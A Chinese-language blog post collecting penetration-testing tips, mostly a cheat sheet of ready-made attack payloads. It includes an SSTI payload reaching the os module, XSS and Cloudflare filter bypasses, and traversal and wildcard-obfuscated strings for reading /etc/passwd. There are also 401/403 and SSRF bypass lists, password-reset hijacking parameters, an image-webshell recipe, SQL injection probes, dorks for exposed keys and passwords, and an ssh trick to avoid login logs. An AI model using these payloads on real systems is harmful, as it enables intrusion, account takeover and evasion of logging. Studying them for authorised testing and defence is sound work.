S1xHcL's Blog.

Pentest-tips 收集

Word count: 2.3kReading time: 11 min
2021/10/22 Share

渗透测试技巧,均收集自网络,持续更新ing…

  1. 整理字典时,推荐用linux下的工具快速合并和去重
1
2
cat file1.txt file2.txt fileN.txt > out.txt
sort out.txt | uniq > out2.txt
  1. sql注入点判断
1
2
and ord(0x1)    //true
and ord(0x0) //false
  1. 程序溢出

int最大值为2147483647,尝试使用该值进行整数溢出,观察现象。

  1. 图片验证码可设置为空
1
code=undefined
  1. 模板注入,在{{xxx}}中输入的命令参数可被执行
1
2
列出当前目录下所有文件的Payload:
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
  1. Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0
  2. 后台页面一闪而过,接着让你登录,一般使用了权限认证方式,可以用一下方式进行绕过,或者遇见401,403,302,都可以尝试使用以下方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
一、GET /xxx HTTP/1.1 403
Host: test.com
绕过:
GET /xxx HTTP/1.1 200
Host: test.com
X-Original-URL: /xxx

二、GET /xxx HTTP/1.1 403
Host: test.com
绕过:
GET /xxx HTTP/1.1 200
Host: test.com
Referer: http://test.com/xxx

三、302跳转:拦截并drop跳转的数据包,使其停留在当前页面。
四、前端验证:只需要删掉对应的遮挡模块,或者是验证模块的前端代码。

  1. xss中标签利用的payload
1
<a href=javascript:alert(1)>xx</a>
  1. XSS过滤单引号,等于号
1
2
3
4
5
6
使用:String.fromCharCode(97,108,101,114,116,40,49,41);
为alert(1),该方法输出的结果为字符串,可以使用eval()进行执行,即弹框操作
eval(String.fromCharCode(97,108,101,114,116,40,49,41));

atob函数:
eval(atob`YWxlcnQoMSk=`) 为 eval(atob`alert(1)`) 其中`为反引号
  1. XSS过滤了单引号,等号以及圆括号,eval
1
2
3
4
过滤了eval函数可以用其他函数去绕过,如:Function,constructor
Function`a${atob`YWxlcnQoMSk=`}```

``.constructor.constructor`a${atob`YWxlcnQoMSk=`}```
  1. 判断当前是否在容器中
1
2
3
4
5
6
7
8
lshw -class system | grep -i VM & grep -i virtual
dmesg | grep -i VM & grep -i virtual
dmidecode -s system-product-name
ls /tmp
systemd-detect-virt
virt-what
ls -alh /.dockerenv
cat /proc/1/cgroup
  1. 万能密码试试'=0#

  2. 使用正则获取网站中所包含的其他URL

1
2
3
cat file | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*

curl http://host.xx/file.js | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*"*
  1. Google语法
1
2
3
4
5
inurl:example.com intitle:"index of"
inurl:example.com intitle:"index of /" "*key.pem"
inurl:example.com ext:log
inurl:example.com intitle:"index of" ext:sql|xls|xml|json|csv
inurl:example.com "MYSQL_ROOT_PASSWORD:" ext:env OR ext:yml -git
  1. 通过添加.json后缀,泄露一些敏感信息
1
2
3
4
5
6
7
8
9
10
11
12
一次正常请求:
GET /ResetPassword HTTP/1.1
{"email":"victim@example.com"}
响应:
HTTP/1.1 200 OK

添加.json后缀的请求:
GET /ResetPassword.json HTTP/1.1
{"email":"victim@example.com"}
响应:
HTTP/1.1 200 OK
{"success":"true","token":"596a96-cc7bf-9108c-d896f-33c44a-edc8a"}
  1. 响应401绕过
1
X-Custom-IP-Authorization: 127.0.0.1
  1. 目录穿越,读取敏感文件
1
2
3
4
5
6
7
\..\WINDOWS\win.ini
..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\
.?\.?\.?\etc\passwd
../../boot.ini
%0a/bin/cat%20/etc/passwd
\\&apos;/bin/cat%20/etc/passwd\\&apos;
..%c1%afetc%c1%afpasswd
  1. 在访问admin路径面板时可以通过添加%20,来绕过
1
2
3
4
target.com/admin –> HTTP 302 (重定向到登录页面)
target.com/admin%20/ -> HTTP 200 OK
target.com/%20admin%20/ -> HTTP 200 OK
target.com/admin%20/page -> HTTP 200 OK
  1. 在重置密码的地方,可以尝试添加另外一个次要的账号,比如,手机号,邮箱号等等
1
2
3
4
5
6
7
8
9
10
11
12
a、构造两个参数:
email=victim@xyz.tld&email=hacker@xyz.tld
b、使用抄送方式:
email=victim@xyz.tld%0a%0dcc:hacker@xyz.tld
c、使用分隔符:
email=victim@xyz.tld,hacker@xyz.tld
email=victim@xyz.tld%20hacker@xyz.tld
email=victim@xyz.tld|hacker@xyz.tld
d、不使用域名:email=victim
e、不使用顶级域名:email=victim@xyz
f、JSON情况:
{"email":["victim@xyz.tld","hacker@xyz.tld"]}
  1. 如果有利用邮箱重置密码功能的情况,而且还是JSON传输的情况下,使用SQLmap跑注入,可以将*(星号)放在@之前
1
{“email”:”test*@xxx.com”}
  1. 绕过403和401
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
1. 添加请求头
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwared-Host: 127.0.0.1
X-Host: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1

2. 如果使用GET方法访问某些路径,返回403,可以先访问允许访问的路径,然后在请求头中,添加下面的头
X-Original-URL: /admin
X-Override-URL: /admin
X-Rewrite-URL: /admin

3. 使用下面这些Payload
/accessible/..;/admin
/.;/admin
/admin;/
/admin/~
/./admin/./
/admin?param
/%2e/admin
/admin#
  1. 如果访问/.git目录返回403,别忘了进一步访问下面的目录,比如:/.git/config
  2. 使用通配符绕过WAF
1
2
3
4
5
6
7
8
9
10
11
12
/usr/bin/cat /etc/passwd ==  /???/???/c?t$IFS/?t?/p?s?wd
? = 任意的单个字符
* = 任意字符串,也包含置空的字符串
通配符在常见的系统中都适用,另外我们可以使用$IFS特殊变量取代空白
$IFS = 内部字段分隔符 = [space], [tab] 或者 [newline]

cat /etc$u/p*s*wd$u

小例子,执行/bin/cat /etc/passwd的写法:
/*/?at$IFS/???/???swd
/****/?at$IFS/???/*swd
/****/?at$IFS/???/*******swd
  1. SSRF bypass列表,基于localhost(127.0.0.1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
http://127.1/
http://0000::1:80/
http://[::]:80/
http://2130706433/
http://whitelisted@127.0.0.1
http://0x7f000001/
http://017700000001
http://0177.00.00.01
http://⑯⑨。②⑤④。⑯⑨。②⑤④/
http://⓪ⓧⓐ⑨。⓪ⓧⓕⓔ。⓪ⓧⓐ⑨。⓪ⓧⓕⓔ:80/
http://⓪ⓧⓐ⑨ⓕⓔⓐ⑨ⓕⓔ:80/
http://②⑧⑤②⓪③⑨①⑥⑥:80/
http://④②⑤。⑤①⓪。④②⑤。⑤①⓪:80/
http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80/
http://0xd8.0x3a.0xd6.0xe3
http://0xd83ad6e3
http://0xd8.0x3ad6e3
http://0xd8.0x3a.0xd6e3
http://0330.072.0326.0343
http://000330.0000072.0000326.00000343
http://033016553343
http://3627734755
http://%32%31%36%2e%35%38%2e%32%31%34%2e%32%32%37
http://216.0x3a.00000000326.0xe3
  1. Exchange的下的目录以及功能介绍
1
2
3
4
5
6
7
8
9
/autoDiscover/	自Exchange Server 2007开始推出的一项自动服务,用于自动配置用户在Outlook中邮箱的相关设置,简化用户登陆使用邮箱的流程。
/ecp/”Exchange Control Panel” Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台
/eWS/"Exchange Web Services” Exchange Web Service,实现客户端与服务端之间基于HTTP的SOAP交互
/mapi/ Outlook连接Exchange的默认方式,在2013和2013之后开始使用,2010 sp2同样支持
/microsoft-Server-ActiveSync/ 用于移动应用程序访问电子邮件
/OAB/"Offline Address Book" 用于为Outlook客户端提供地址簿的副本,减轻Exchange的负担
/owa/"Outlook Web APP” Exchange owa 接口,用于通过web应用程序访问邮件、日历、任务和联系人等
/powerShell/ 用于服务器管理的Exchange管理控制台
/Rpc/ 早期的Outlook还使用称为Outlook Anywhere的RPC交互
  1. Exchange的账号格式
1
2
3
domain\username
domian.com\username
username
  1. 任意文件下载
1
/var/lib/mlocate/mlocate.db
  1. 图片马制作
1
copy /b 1,jpg + shell.php 2.jpg
  1. 快速web路径,sql注入下找路径
1
dir /s /b e:\”Web.config" type e:\b2cexam\web.config
  1. 避免记录登录日志
1
2
3
4
ssh -T user@host /bin/bash -i

-T 代表不要分配 tty
-i 代表要一个交互型的 bash
  1. 从反编译的 apk 文件中提取相关域名链接/IP/敏感信息
1
2
3
grep -E "([0-9]{1,3}[\.]){3}[0-9]{1,3}" -r xxx --color=auto
grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto
grep -EHirn "accesskey|admin|aes|api_key|apikey|checkClientTrusted|crypt|http:|https:|password|pinning|secret|SHA256|SharedPreferences|superuser|token|X509TrustManager|insert into" APKfolder/
  1. docker环境查看ip
1
2
cat /proc/net/fib_trie
cat /etc/sysconfig/network
  1. 利用正则获取js中链接
1
cat fuck.js | grep -aoP "(?<=(\"|\'|\`))(\/)[a-zA-Z0-9_\-\/]+(?=(\"|\'|\`))" | sort -u
  1. 请在微信中打开,修改UA头
1
Mozilla/5.0 (Linux; Android 11; MI CC9 Pro Premium Edition Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3141 MMWEBSDK/20210601 Mobile Safari/537.36 MMWEBID/9298 MicroMessenger/8.0.11.1980(0x28000B59) Process/toolsmp WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64
  1. SQL注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/?q=1
/?q=1'
/?q=1"
/?q=[1]
/?q[]=1
/?q=1`
/?q=1\
/?q=1/*'*/
/?q=1/*!1111'*/
/?q=1'||'asd'||' <== concat string
/?q=1' or '1'='1
/?q=1 or 1=1
/?q='or''='
/?q=")
/?q=')
/?q=-x()
  1. SQL + XSS + SSTI 三合一payload
1
2
3
4
5
'"><svg/onload=prompt(5);>{{7*7}}

' ==> for Sql injection
"><svg/onload=prompt(5);> ==> for XSS
{{7*7}} ==> for SSTI/CSTI
  1. Cloudflare xss bypass
1
<h1><b><svg onload=alert%26%230000000040`1`)></b></h1>
CATALOG